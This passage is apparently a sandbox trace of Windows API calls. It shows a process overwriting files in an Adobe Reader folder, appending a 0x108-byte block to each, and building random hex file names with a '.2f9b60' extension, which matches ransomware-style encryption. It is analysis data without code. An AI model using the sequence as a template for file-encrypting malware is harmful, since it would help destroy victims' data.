Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0x18167916 [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0x44c0ae7f [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0xe640621 [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0x3c2e2f2e [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0x490521ca [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0x4740aa86 [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0xb1956e9 [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0xba91566 [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0x76456c8c [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0xc5b73d [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0x27572ce6 [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0x668c3acc [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0xeb9b7a1 [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0x1360b754 [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0x7981fd91 [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0x6b000f1f [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0xb38c0b1 [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0x6b922a1f [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0x330ef71c [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0x4dd11c36 [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0x6a72c3d9 [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0x40c80628 [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0x67bb3537 [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0x489c805 [0159.107] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2d80 [0159.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307f80 [0159.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2db0 [0159.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307f80) returned 1 [0159.108] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2d50) returned 1 [0159.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2bd0) returned 1 [0159.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bf70 [0159.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307f80 [0159.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2bd0 [0159.109] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2bd0) returned 1 [0159.109] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426ac580 [0159.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426b0190 [0159.110] ReadFile (in: hFile=0x844, lpBuffer=0x426ac580, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x34d9fa90, lpOverlapped=0x0 | out: lpBuffer=0x426ac580*, lpNumberOfBytesRead=0x34d9fa90*=0x1e00, lpOverlapped=0x0) returned 1 [0160.915] SetFilePointerEx (in: hFile=0x844, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.915] WriteFile (hFile=0x844, lpBuffer=0x426b0190, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x34d9fa94, lpOverlapped=0x0) [0181.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2df20 [0181.505] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2df50 [0181.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2df50) returned 1 [0181.506] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426b0190) returned 1 [0181.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426ac580) returned 1 [0181.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307f80) returned 1 [0181.507] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bf70) returned 1 [0181.507] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42d2df50 [0181.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bf70 [0181.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307f80 [0181.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2df80 [0181.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2df80) returned 1 [0181.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42d2df80 [0181.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2dfb0 [0181.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2dfe0 [0181.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2dfe0) returned 1 [0181.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307f80) returned 1 [0181.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bf70) returned 1 [0181.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x430fc720 [0186.204] SetFilePointerEx (in: hFile=0x844, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.204] WriteFile (in: hFile=0x844, lpBuffer=0x430fc720*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x34d9fbb0, lpOverlapped=0x0 | out: lpBuffer=0x430fc720*, lpNumberOfBytesWritten=0x34d9fbb0*=0x108, lpOverlapped=0x0) returned 1 [0207.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0207.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda3d0 [0207.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda3d0) returned 1 [0207.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d220 [0207.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda3d0 [0207.093] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda3a0 [0207.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda3a0) returned 1 [0207.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0207.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5ceb0 [0207.095] sprintf (in: _Dest=0x1ce5ceb0, _Format="%c%c" | out: _Dest="16") returned 2 [0207.095] sprintf (in: _Dest=0x1ce5ceb2, _Format="%c%c" | out: _Dest="a1") returned 2 [0207.095] sprintf (in: _Dest=0x1ce5ceb4, _Format="%c%c" | out: _Dest="4b") returned 2 [0207.095] sprintf (in: _Dest=0x1ce5ceb6, _Format="%c%c" | out: _Dest="3f") returned 2 [0207.095] sprintf (in: _Dest=0x1ce5ceb8, _Format="%c%c" | out: _Dest="0e") returned 2 [0207.095] sprintf (in: _Dest=0x1ce5ceba, _Format="%c%c" | out: _Dest="6a") returned 2 [0207.095] sprintf (in: _Dest=0x1ce5cebc, _Format="%c%c" | out: _Dest="a1") returned 2 [0207.096] sprintf (in: _Dest=0x1ce5cebe, _Format="%c%c" | out: _Dest="ac") returned 2 [0207.096] sprintf (in: _Dest=0x1ce5cec0, _Format="%c%c" | out: _Dest="44") returned 2 [0207.096] sprintf (in: _Dest=0x1ce5cec2, _Format="%c%c" | out: _Dest="cd") returned 2 [0207.096] sprintf (in: _Dest=0x1ce5cec4, _Format="%c%c" | out: _Dest="b9") returned 2 [0207.096] sprintf (in: _Dest=0x1ce5cec6, _Format="%c%c" | out: _Dest="e0") returned 2 [0207.096] sprintf (in: _Dest=0x1ce5cec8, _Format="%c%c" | out: _Dest="bc") returned 2 [0207.096] sprintf (in: _Dest=0x1ce5ceca, _Format="%c%c" | out: _Dest="54") returned 2 [0207.096] sprintf (in: _Dest=0x1ce5cecc, _Format="%c%c" | out: _Dest="f5") returned 2 [0207.096] sprintf (in: _Dest=0x1ce5cece, _Format="%c%c" | out: _Dest="90") returned 2 [0207.096] sprintf (in: _Dest=0x1ce5ced0, _Format="%c%c" | out: _Dest="e7") returned 2 [0207.096] sprintf (in: _Dest=0x1ce5ced2, _Format="%c%c" | out: _Dest="98") returned 2 [0207.096] sprintf (in: _Dest=0x1ce5ced4, _Format="%c%c" | out: _Dest="44") returned 2 [0207.096] sprintf (in: _Dest=0x1ce5ced6, _Format="%c%c" | out: _Dest="ca") returned 2 [0207.096] sprintf (in: _Dest=0x1ce5ced8, _Format="%c%c" | out: _Dest="96") returned 2 [0207.096] sprintf (in: _Dest=0x1ce5ceda, _Format="%c%c" | out: _Dest="b5") returned 2 [0207.096] RtlInitAnsiString (in: DestinationString=0x34d9fc28, SourceString="16a14b3f0e6aa1ac44cdb9e0bc54f590e79844ca96b5" | out: DestinationString="16a14b3f0e6aa1ac44cdb9e0bc54f590e79844ca96b5") [0207.096] RtlAnsiStringToUnicodeString (in: DestinationString=0x34d9fbf8, SourceString="16a14b3f0e6aa1ac44cdb9e0bc54f590e79844ca96b5", AllocateDestinationString=1 | out: DestinationString="16a14b3f0e6aa1ac44cdb9e0bc54f590e79844ca96b5") returned 0x0 [0207.096] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430e8800 [0207.096] wcscat (in: _Dest=0x431c7080, _Source="16a14b3f0e6" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\16a14b3f0e6") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\16a14b3f0e6" [0207.097] wcscat (in: _Dest=0x431c7080, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\16a14b3f0e6.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\16a14b3f0e6.2f9b60" [0207.097] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\16a14b3f0e6.2f9b60", NtPathName=0x34d9fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\16a14b3f0e6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.097] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x43128c60 Thread: id = 2608 os_tid = 0x212c [0156.518] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.suo")) returned 0x20 [0156.530] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SUO", dwFileAttributes=0x20) returned 1 [0156.531] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.suo"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x648 [0156.531] GetFileSizeEx (in: hFile=0x648, lpFileSize=0x3589f6a0 | out: lpFileSize=0x3589f6a0*=7680) returned 1 [0156.531] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.531] ReadFile (in: hFile=0x648, lpBuffer=0x3589f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3589f668, lpOverlapped=0x0 | out: lpBuffer=0x3589f620*, lpNumberOfBytesRead=0x3589f668*=0x4, lpOverlapped=0x0) returned 1 [0159.047] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2a50 [0159.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2ab0 [0159.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2b40 [0159.048] NtQuerySystemTime (in: CurrentTime=0x3589f560 | out: CurrentTime=0x3589f560*=132462177641818000) returned 0x0 [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x5706f7bd [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x45417706 [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x4cdb10f2 [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x7bffa55 [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x7faa3856 [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x76eabb1 [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x136f5217 [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x74b64409 [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x79feef86 [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x4d164e8d [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x5f0c0906 [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x2cbcf92a [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x62076da5 [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x68115012 [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x54d7a936 [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x6182946d [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x6dd1bd9f [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x3906939d [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x5bb89228 [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x5ed72a6f [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x6f04dbf7 [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x52470e70 [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x653625db [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x1f2b5d95 [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x5b6dc959 [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x298750a5 [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x64b8e2b3 [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x146e79cf [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x1bad4a40 [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x19f296e0 [0159.048] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x23331bd9 [0159.049] RtlRandomEx (in: Seed=0x3589f550 | out: Seed=0x3589f550) returned 0x4e713e96 [0159.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2b70 [0159.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307e00 [0159.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2ba0 [0159.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307e00) returned 1 [0159.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2b40) returned 1 [0159.057] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2a50) returned 1 [0159.057] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5be80 [0159.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307e00 [0159.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2a50 [0159.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2a50) returned 1 [0159.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4269d540 [0159.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426a1150 [0159.059] ReadFile (in: hFile=0x648, lpBuffer=0x4269d540, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x3589f550, lpOverlapped=0x0 | out: lpBuffer=0x4269d540*, lpNumberOfBytesRead=0x3589f550*=0x1e00, lpOverlapped=0x0) returned 1 [0159.160] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.160] WriteFile (hFile=0x648, lpBuffer=0x426a1150, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x3589f554, lpOverlapped=0x0) [0186.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca520 [0186.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca550 [0186.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca550) returned 1 [0186.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426a1150) returned 1 [0186.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4269d540) returned 1 [0186.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307e00) returned 1 [0186.669] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5be80) returned 1 [0186.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ceca550 [0186.669] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5be80 [0186.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307e00 [0186.671] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca580 [0186.672] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca580) returned 1 [0186.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ceca580 [0186.672] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca5b0 [0186.673] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ceca5e0 [0186.673] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceca5e0) returned 1 [0186.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307e00) returned 1 [0186.674] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5be80) returned 1 [0186.674] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x43102e90 [0186.674] SetFilePointerEx (in: hFile=0x648, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.675] WriteFile (in: hFile=0x648, lpBuffer=0x43102e90*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x3589f670, lpOverlapped=0x0 | out: lpBuffer=0x43102e90*, lpNumberOfBytesWritten=0x3589f670*=0x108, lpOverlapped=0x0) returned 1 [0201.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0201.059] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d90 [0201.060] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1d90) returned 1 [0201.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d2a0 [0201.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d90 [0201.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d60 [0201.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1d60) returned 1 [0201.061] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0201.062] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5d2b0 [0201.062] sprintf (in: _Dest=0x1ce5d2b0, _Format="%c%c" | out: _Dest="a0") returned 2 [0201.062] sprintf (in: _Dest=0x1ce5d2b2, _Format="%c%c" | out: _Dest="07") returned 2 [0201.062] sprintf (in: _Dest=0x1ce5d2b4, _Format="%c%c" | out: _Dest="7b") returned 2 [0201.062] sprintf (in: _Dest=0x1ce5d2b6, _Format="%c%c" | out: _Dest="19") returned 2 [0201.062] sprintf (in: _Dest=0x1ce5d2b8, _Format="%c%c" | out: _Dest="54") returned 2 [0201.062] sprintf (in: _Dest=0x1ce5d2ba, _Format="%c%c" | out: _Dest="8f") returned 2 [0201.062] sprintf (in: _Dest=0x1ce5d2bc, _Format="%c%c" | out: _Dest="16") returned 2 [0201.062] sprintf (in: _Dest=0x1ce5d2be, _Format="%c%c" | out: _Dest="7c") returned 2 [0201.062] sprintf (in: _Dest=0x1ce5d2c0, _Format="%c%c" | out: _Dest="8a") returned 2 [0201.063] sprintf (in: _Dest=0x1ce5d2c2, _Format="%c%c" | out: _Dest="66") returned 2 [0201.063] sprintf (in: _Dest=0x1ce5d2c4, _Format="%c%c" | out: _Dest="08") returned 2 [0201.063] sprintf (in: _Dest=0x1ce5d2c6, _Format="%c%c" | out: _Dest="48") returned 2 [0201.063] sprintf (in: _Dest=0x1ce5d2c8, _Format="%c%c" | out: _Dest="c6") returned 2 [0201.063] sprintf (in: _Dest=0x1ce5d2ca, _Format="%c%c" | out: _Dest="7f") returned 2 [0201.063] sprintf (in: _Dest=0x1ce5d2cc, _Format="%c%c" | out: _Dest="0c") returned 2 [0201.063] sprintf (in: _Dest=0x1ce5d2ce, _Format="%c%c" | out: _Dest="60") returned 2 [0201.063] sprintf (in: _Dest=0x1ce5d2d0, _Format="%c%c" | out: _Dest="d8") returned 2 [0201.063] sprintf (in: _Dest=0x1ce5d2d2, _Format="%c%c" | out: _Dest="4f") returned 2 [0201.063] sprintf (in: _Dest=0x1ce5d2d4, _Format="%c%c" | out: _Dest="58") returned 2 [0201.063] sprintf (in: _Dest=0x1ce5d2d6, _Format="%c%c" | out: _Dest="07") returned 2 [0201.063] sprintf (in: _Dest=0x1ce5d2d8, _Format="%c%c" | out: _Dest="b1") returned 2 [0201.063] sprintf (in: _Dest=0x1ce5d2da, _Format="%c%c" | out: _Dest="8e") returned 2 [0201.063] RtlInitAnsiString (in: DestinationString=0x3589f6e8, SourceString="a0077b19548f167c8a660848c67f0c60d84f5807b18e" | out: DestinationString="a0077b19548f167c8a660848c67f0c60d84f5807b18e") [0201.063] RtlAnsiStringToUnicodeString (in: DestinationString=0x3589f6b8, SourceString="a0077b19548f167c8a660848c67f0c60d84f5807b18e", AllocateDestinationString=1 | out: DestinationString="a0077b19548f167c8a660848c67f0c60d84f5807b18e") returned 0x0 [0201.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a11d0 [0201.064] wcscat (in: _Dest=0x43189a80, _Source="a0077b19548" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\a0077b19548") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\a0077b19548" [0201.064] wcscat (in: _Dest=0x43189a80, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\a0077b19548.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\a0077b19548.2f9b60" [0201.064] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\a0077b19548.2f9b60", NtPathName=0x3589f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\a0077b19548.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x4314b020 Thread: id = 2609 os_tid = 0x2130 [0156.533] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.sve")) returned 0x20 [0156.533] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SVE", dwFileAttributes=0x20) returned 1 [0156.534] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.sve"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x644 [0156.534] GetFileSizeEx (in: hFile=0x644, lpFileSize=0x35baf6c0 | out: lpFileSize=0x35baf6c0*=7680) returned 1 [0156.534] SetFilePointerEx (in: hFile=0x644, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.535] ReadFile (in: hFile=0x644, lpBuffer=0x35baf640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x35baf688, lpOverlapped=0x0 | out: lpBuffer=0x35baf640*, lpNumberOfBytesRead=0x35baf688*=0x4, lpOverlapped=0x0) returned 1 [0159.059] SetFilePointerEx (in: hFile=0x644, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 